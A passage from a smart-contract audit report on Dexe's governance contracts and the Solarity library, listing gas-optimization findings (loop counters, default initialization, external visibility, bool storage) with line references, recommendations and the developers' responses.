109:         for (uint256 i = 0; i < tierInitParams.participationDetails.length; i++) {
187:         for (uint256 i = 0; i < tierInitParams.purchaseTokenAddresses.length; i++) {
187:         for (uint256 i = 0; i < tierInitParams.purchaseTokenAddresses.length; i++) {
```

File: libs/gov/token-sale-proposal/TokenSaleProposalWhitelist.sol

```
75:         for (uint256 i = 0; i < nftIdsToLock.length; i++) {

75:         for (uint256 i = 0; i < nftIdsToLock.length; i++) {

84:         for (uint256 i = 0; i < nftIdsToLock.length; i++) {

84:         for (uint256 i = 0; i < nftIdsToLock.length; i++) {

136:         for (uint256 i = 0; i < nftIdsToUnlock.length; i++) {

136:         for (uint256 i = 0; i < nftIdsToUnlock.length; i++) {

144:         for (uint256 i = 0; i < nftIdsToUnlock.length; i++) {

144:         for (uint256 i = 0; i < nftIdsToUnlock.length; i++) {

157:         for (uint256 i = 0; i < request.users.length; i++) {

157:         for (uint256 i = 0; i < request.users.length; i++) {
```

File: libs/price-feed/UniswapV2PathFinder.sol

```
79:         for (uint256 i = 0; i < length; i++) {

79:         for (uint256 i = 0; i < length; i++) {
```

File: libs/utils/AddressSetHelper.sol

```
10:         for (uint256 i = 0; i < array.length; i++) {

10:         for (uint256 i = 0; i < array.length; i++) {

19:         for (uint256 i = 0; i < array.length; i++) {

19:         for (uint256 i = 0; i < array.length; i++) {
```

Recommended Mitigation: Use unchecked block to increment loop counter when overflow impossible or upgrade to Solidity 0.8.22.

Before:

```
for (uint256 i = 0; i < params.users.length; i++) {
```

After:

```
uint256 loopLength = params.users.length;
for (uint256 i; i < loopLength;) {
    // logic goes here


    // increment loop at the end
    unchecked {++i;}
}
```

Dexe: Acknowledged. We do not consider optimizations of 2-3 wei as a huge benefit. Code readability is a priority in this case.

7.6.6 Don't initialize variables with default value

Description: Don't initialize variables with default value.

Impact: Gas optimization.

Proof of Concept:

```
File: gov/ERC20/ERC20Gov.sol

55:         for (uint256 i = 0; i < params.users.length; i++) {
```

```
File: gov/proposals/TokenSaleProposal.sol

82:         for (uint256 i = 0; i < tierInitParams.length; i++) {

96:         for (uint256 i = 0; i < requests.length; i++) {

102:         for (uint256 i = 0; i < tierIds.length; i++) {

108:         for (uint256 i = 0; i < tierIds.length; i++) {

114:         for (uint256 i = 0; i < tierIds.length; i++) {

120:         for (uint256 i = 0; i < tierIds.length; i++) {

184:         for (uint256 i = 0; i < tierIds.length; i++) {

195:         for (uint256 i = 0; i < tierIds.length; i++) {

205:         for (uint256 i = 0; i < recoveringAmounts.length; i++) {

223:         for (uint256 i = 0; i < userViews.length; i++) {

250:         for (uint256 i = 0; i < ids.length; i++) {
```

```
File: gov/user-keeper/GovUserKeeper.sol

461:         for (uint256 i = 0; i < nftIds.length; i++) {
```

File: libs/gov/gov-pool/GovPoolCredit.sol

```
27:         for (uint256 i = 0; i < length; i++) {
33:         for (uint256 i = 0; i < tokens.length; i++) {
49:         for (uint256 i = 0; i < infoLength; i++) {
70:         for (uint256 i = 0; i < tokensLength; i++) {
```

File: libs/gov/gov-pool/GovPoolRewards.sol

```
165:         for (uint256 i = 0; i < proposalIds.length; i++) {
189:         for (uint256 i = 0; i < rewards.offchainTokens.length; i++) {
```

File: libs/gov/gov-pool/GovPoolVote.sol

```
88:         for (uint256 i = 0; i < proposalIds.length; i++) {
```

File: libs/gov/gov-user-keeper/GovUserKeeperView.sol

```
35:         for (uint256 i = 0; i < users.length; i++) {
84:         for (uint256 i = 0; i < votingPowers.length; i++) {
94:             for (uint256 j = 0; j < power.perNftPower.length; j++) {
206:                 for (uint256 j = 0; j < unlockedNfts.length; j++) {
```

File: libs/gov/gov-validators/GovValidatorsCreate.sol

```
141:         for (uint256 i = 0; i < tokensLength; i++) {
```

File: libs/gov/gov-validators/GovValidatorsExecute.sol

```
42:         for (uint256 i = 0; i < length; i++) {
```

File: libs/gov/gov-validators/GovValidatorsUtils.sol

```
74:         for (uint256 i = 0; i < userAddresses.length; i++) {
```

File: libs/gov/token-sale-proposal/TokenSaleProposalBuy.sol

```
205:         for (uint256 i = 0; i < lockedTokenLength; i++) {

217:         for (uint256 i = 0; i < lockedNftLength; i++) {

229:         for (uint256 i = 0; i < purchaseTokenLength; i++) {

251:         for (uint256 i = 0; i < length; i++) {

279:         for (uint256 i = 0; i < length; i++) {
```

File: libs/gov/token-sale-proposal/TokenSaleProposalCreate.sol

```
65:         for (uint256 i = 0; i < _tierInitParams.participationDetails.length; i++) {

109:         for (uint256 i = 0; i < tierInitParams.participationDetails.length; i++) {

187:         for (uint256 i = 0; i < tierInitParams.purchaseTokenAddresses.length; i++) {
```

File: libs/gov/token-sale-proposal/TokenSaleProposalWhitelist.sol

```
75:         for (uint256 i = 0; i < nftIdsToLock.length; i++) {

84:         for (uint256 i = 0; i < nftIdsToLock.length; i++) {

136:         for (uint256 i = 0; i < nftIdsToUnlock.length; i++) {

144:         for (uint256 i = 0; i < nftIdsToUnlock.length; i++) {

157:         for (uint256 i = 0; i < request.users.length; i++) {
```

File: libs/math/LogExpMath.sol

```
350:         int256 sum = 0;
```

File: libs/price-feed/UniswapV2PathFinder.sol

```
79:         for (uint256 i = 0; i < length; i++) {
```

File: libs/utils/AddressSetHelper.sol

```
10:         for (uint256 i = 0; i < array.length; i++) {

19:         for (uint256 i = 0; i < array.length; i++) {
```

File: mock/gov/PolynomTesterMock.sol

```
58:         for (uint256 i = 0; i < users.length; i++) {
```

From Solarity library:

File: access-control/RBAC.sol

```
103:         for (uint256 i = 0; i < permissionsToAdd_.length; i++) {
124:         for (uint256 i = 0; i < permissionsToRemove_.length; i++) {
173:         for (uint256 i = 0; i < allowed_.length; i++) {
178:         for (uint256 i = 0; i < disallowed_.length; i++) {
200:         for (uint256 i = 0; i < roles_.length; i++) {
```

File: access-control/extensions/RBACGroupable.sol

```
116:         for (uint256 i = 0; i < userGroupsLength_; ++i) {
157:         for (uint256 i = 0; i < roles_.length; i++) {
169:         for (uint256 i = 0; i < groups_.length; i++) {
172:             for (uint256 j = 0; j < roles_.length; j++) {
```

File: contracts-registry/pools/AbstractPoolContractsRegistry.sol

```
125:         for (uint256 i = 0; i < names_.length; i++) {
```

File: diamond/Diamond.sol

```
110:         for (uint256 i = 0; i < selectors_.length; i++) {
134:         for (uint256 i = 0; i < selectors_.length; i++) {
```

File: diamond/DiamondStorage.sol

```
55:         for (uint256 i = 0; i < facets_.length; i++) {
75:         for (uint256 i = 0; i < selectors_.length; i++) {
```

File: libs/arrays/ArrayHelper.sol

```
160:         for (uint256 i = 0; i < what_.length; i++) {
172:         for (uint256 i = 0; i < what_.length; i++) {
184:         for (uint256 i = 0; i < what_.length; i++) {
196:         for (uint256 i = 0; i < what_.length; i++) {
```

File: libs/arrays/SetHelper.sol

```
22:         for (uint256 i = 0; i < array_.length; i++) {
28:         for (uint256 i = 0; i < array_.length; i++) {
34:         for (uint256 i = 0; i < array_.length; i++) {
45:         for (uint256 i = 0; i < array_.length; i++) {
51:         for (uint256 i = 0; i < array_.length; i++) {
57:         for (uint256 i = 0; i < array_.length; i++) {
```

File: libs/data-structures/memory/Vector.sol

```
287:         for (uint256 i = 0; i < length_; ++i) {
```

File: mock/libs/arrays/PaginatorMock.sol

```
46:         for (uint256 i = 0; i < length_; i++) {
```

File: mock/libs/data-structures/StringSetMock.sol

```
38:         for (uint256 i = 0; i < set_.length; i++) {
```

File: mock/libs/data-structures/memory/VectorMock.sol

```
42:         for (uint256 i = 0; i < vector2_.length(); i++) {
70:         for (uint256 i = 0; i < vector_.length(); i++) {
89:         for (uint256 i = 0; i < 10; i++) {
100:         for (uint256 i = 0; i < array_.length; i++) {
123:         for (uint256 i = 0; i < 50; i++) {
```

```
File: mock/libs/zkp/snarkjs/VerifierMock.sol

34:         for (uint256 i = 0; i < inputs_.length; i++) {

54:         for (uint256 i = 0; i < inputs_.length; i++) {
```

```
File: oracles/UniswapV2Oracle.sol

65:         for (uint256 i = 0; i < pairsLength_; i++) {

103:         for (uint256 i = 0; i < pathLength_ - 1; i++) {

178:         for (uint256 i = 0; i < numberOfPaths_; i++) {

187:             for (uint256 j = 0; j < pathLength_ - 1; j++) {

208:         for (uint256 i = 0; i < numberOfPaths_; i++) {

216:             for (uint256 j = 0; j < pathLength_ - 1; j++) {
```

Recommended Mitigation: Don't initialize variables with default value.

Dexe: Acknowledged; we do not consider optimizations of 2-3 wei as a huge benefit. Code readability is a priority in this case. Wherever optimizations made sense, we optimized the code.

7.6.7 Functions not used internally could be marked external

Description: Functions not used internally could be marked `external`. In general `external` functions have a lesser gas overhead than `public` functions.

Proof of Concept:

```
File: factory/PoolFactory.sol

53:     function setDependencies(address contractsRegistry, bytes memory data) public override {
```

```
File: factory/PoolRegistry.sol

43:     function setDependencies(address contractsRegistry, bytes memory data) public override {
```

```
File: gov/ERC721/multipliers/AbstractERC721Multiplier.sol

29:     function __ERC721Multiplier_init(

77:     function supportsInterface(
```

```
File: gov/GovPool.sol

132:     function setDependencies(address contractsRegistry, bytes memory) public override dependant {

141:     function unlock(address user) public override onlyBABTHolder {

145:     function execute(uint256 proposalId) public override onlyBABTHolder {

373:     function getProposalState(uint256 proposalId) public view override returns (ProposalState) {
```

```
File: gov/proposals/TokenSaleProposal.sol

234:     function uri(uint256 tierId) public view override returns (string memory) {
```

```
File: gov/user-keeper/GovUserKeeper.sol

665:     function nftVotingPower(
```

```
File: user/UserRegistry.sol

19:     function __UserRegistry_init(string calldata name) public initializer {

67:     function userInfos(address user) public view returns (UserInfo memory) {
```

Recommended Mitigation: Consider marking above functions `external`.

Dexe: Fixed in commit b417eaf.

Cyfrin: Verified.

7.6.8 Using bools for storage incurs overhead

Description: Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Impact: Gas optimization

Proof of Concept:

```
File: factory/PoolFactory.sol

41:     mapping(bytes32 => bool) private _usedSalts;
```

```
File: gov/GovPool.sol

76:     bool public onlyBABTHolders;
```

```
File: gov/validators/GovValidators.sol

35:     mapping(uint256 => mapping(bool => mapping(address => mapping(bool => uint256))))
```

```
File: interfaces/gov/IGovPool.sol

197:         mapping(uint256 => bool) isClaimed;

207:         mapping(uint256 => bool) areVotingRewardsSet;

287:         mapping(bytes32 => bool) usedHashes;
```

```
File: interfaces/gov/proposals/IDistributionProposal.sol

16:         mapping(address => bool) claimed;
```

From Solarity library:

```
File: access-control/RBAC.sol

42:     mapping(string => mapping(bool => mapping(string => StringSet.Set))) private _rolePermissions;

43:     mapping(string => mapping(bool => StringSet.Set)) private _roleResources;
```

```
File: compound-rate-keeper/AbstractCompoundRateKeeper.sol

31:     bool private _isMaxRateReached;
```

```
File: contracts-registry/AbstractContractsRegistry.sol

42:     mapping(address => bool) private _isProxy;
```

```
File: diamond/tokens/ERC721/DiamondERC721Storage.sol

36:         mapping(address => mapping(address => bool)) operatorApprovals;
```

Recommended Mitigation: Consider replacing `bool` with `uint256`

Dexe: Acknowledged; we do not consider optimizations of 2-3 wei as a huge benefit. Code readability is a priority in this case. Wherever optimizations made sense, we optimized the code.